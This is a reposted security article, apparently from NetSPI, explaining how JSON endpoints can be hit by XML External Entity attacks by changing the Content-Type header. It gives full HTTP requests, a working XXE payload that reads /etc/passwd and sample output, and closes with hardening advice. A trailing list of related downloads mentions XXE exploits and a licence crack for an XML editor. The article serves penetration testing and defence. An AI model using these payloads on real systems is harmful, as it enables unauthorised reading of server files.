原文地址:
Many web and mobile applications rely on web services communication for client-server interaction. Most common data formats for web services are XML, whether SOAP or RESTful, and JSON. While a web service may be programmed to use just one of them, the server may accept data formats that the developers did not anticipate. This may result in JSON endpoints being vulnerable to XML External Entity attacks (XXE), an attack that exploits weakly configured XML parser settings on the server.
XXE is a well-known attack against XML endpoints. To exploit it, external entity declarations are included in the XML payload, and the server expands the entities, potentially resulting in read access to the web server’s file system, remote file system access via UNC paths, or connections to arbitrary hosts over HTTP/HTTPS. XXE attacks rely on inline DOCTYPE definitions in the XML payload. In the following example, an external entity pointing to the /etc/passwd file on the web server is declared and the entity is included in the XML payload:
引用
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
[some xml content..]
<element>&xxe;</element>
[some xml content..]
It’s a simple and neat attack. Time to play with the Content-Type header and HTTP request payloads to see if this could be exploited against JSON endpoints as well. A sample JSON request is listed below, with the Content-Type set to application/json (with silly sample data and most HTTP headers removed):
引用
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38
{"search":"name","value":"netspitest"}
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{"error": "no results for name netspitest"}
If the Content-Type header is changed to application/xml instead, the client is telling the server that the POST payload is XML formatted data. But if it’s not, the server will not be able to parse it may display an error similar to the following:
引用
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 38
{"search":"name","value":"netspitest"}
HTTP Request:
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127
{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}
The error indicates that the server is able to process XML formatted data as well as JSON formatted data but as the data wasn’t actually XML formatted like stated in the Content-Type header, it cannot be parsed. To overcome this, JSON has to be converted to XML. There are multiple online tools for that, and Eric Gruber created a Burp plugin to automate the conversion in Burp (Content-Type Converter).
引用
Original JSON
{"search":"name","value":"netspitest"}
XML Conversion
<?xml version="1.0" encoding="UTF-8" ?>
<search>name</search>
<value>netspitest</value>
However, this straight up conversion results in an invalid XML document as it does not have a root element that’s required in well formatted XML documents. If the invalid XML is sent to the server. sometimes the server will respond with an error message stating what kind of root element was expected, along with the namespace. Otherwise the best guess is to add root element <root> which makes the XML valid.
引用
<?xml version="1.0" encoding="UTF-8" ?>
<root>
<search>name</search>
<value>netspitest</value>
</root>
Now the original JSON request can be sent as XML and the server may return a valid response:
引用
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 112
<?xml version="1.0" encoding="UTF-8" ?>
<root>
<search>name</search>
<value>netspitest</value>
</root>
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{"error": "no results for name netspitest"}
As the server accepts XML input, XXE can be exploited against a JSON endpoint.
引用
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467
{"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....
Obviously, not every JSON endpoint accepts XML; changing the Content-Type header may not have any impact, or it may result in 415 Unsupported Media Type error message. But on the other hand, JSON to XML attacks are not limited to just POST payloads with JSON content. I have seen this work on JSON formatted GET and POST parameters as well. If the JSON parameter is converted and sent as XML, the server will guess what the content type is.
So, to harden a JSON endpoint, XML parsing should be disabled altogether and/or inline DOCTYPE declarations should be disabled to prevent XML external entity injections.
分享到:
相关推荐
信息安全_数据安全_AppSecEU2016-Christopher-Spaeth-From-DTD-to-XXE 水坑攻击 金融安全 硬件攻防 可信编译 网络犯罪
XXE Apache OFBiz < 16.11.04 的 XXE 注入(文件泄露)漏洞利用 信息 16.11.04 版本之前的 Apache OFBiz 包含两个不同的 XXE 注入漏洞。 每个漏洞的公开披露可以在下面找到: [1] [2] 此漏洞利用针对链接 1 中...
。。。。。。。。。。。。。。。。。。。。。。。。。
内含xxe漏洞原理,以及该漏洞的多种利用方式,同时根据八个具体案例详细描述漏洞的利用方式。 【想要搭建vulnhub内靶场可关注博主,然后私聊我哦】 同时内含vulnhub中xxe lab:1靶场的过关记录 渗透思路: 由于网站...
WebGoat8-xxe注入漏洞分析
XML schema 编辑工具 xxe-perso-4_9_1
DoraBox 漏洞练习平台 WriteUP与总结。SQLi 数字型,数字型注入拼接语句一般为 select * from <表名> where id = x x=x' ,程序报错。 x=x and 1=1 时,语句逻辑为真,返回正常结果。 x=x and 1=2 时,语句逻辑为...
XXE - 防御策略-01
什么是XXE 什么地方可能存在XXE Zend框架 Xml-rpc模块的xxe Springmvc里的xxe slim框架里的xxe 解析docx文件 XXE能干嘛 XXE怎么去读文件 XXE注入外带数据回显 XXE怎么去修复
XXE漏洞从入门到精通
第五节 XXE漏洞利用 - 任意文件读取 无回显 -01
web渗透--31--Json劫持Json注入.pdf web渗透--32--宽字节注入.pdf web渗透--33--脆弱的通信加密算法.pdf web渗透--34--Padding Oracle攻击.pdf web渗透--35--未加密信道发送敏感数据.pdf web渗透--36--业务逻辑数据...
1. 示例中是一般实体引用(即“&[name] 2. 示例中若使用FILE等其他协议,不一定是发起网络请求(源代码中定义的方法名 3. 不同的编程语言和XML解
未知攻焉知防——XXE漏洞攻防 自动化 应急响应 云安全 网络信息安全 安全威胁
CVE-2019-2888 WebLogic EJBTaglibDescriptor XXE漏洞 fernflower.jar weblogic.jar/weblogic/servlet/ejb2jsp/dd/EJBTaglibDescriptor.class ╭─root@jas502n /var ╰─# find ./ |grep EJBTaglibDescriptor :...
测试XXE注入
CTF 夺旗-JAVA 考点反编译&XXE&反序列化#Java 常考点及出题思路考点技术:xxe,spel 表达式,反序列化,文件安全,最新框架插件漏洞等设法间
(2)外部文档声明 (1)内部实体声明 (2)外部实体声明 (3)参数实体声明
1、首先到官网上下载安装xxe 6.5版本,安装完成后不要急着打开 2、打开XMLmind_XML_Editor\bin\xxe.jar,找到com\xmlmind\xmleditapp\app\DesktopApp.class替换成我给的DesktopApp.class就行了 3、现在就可以...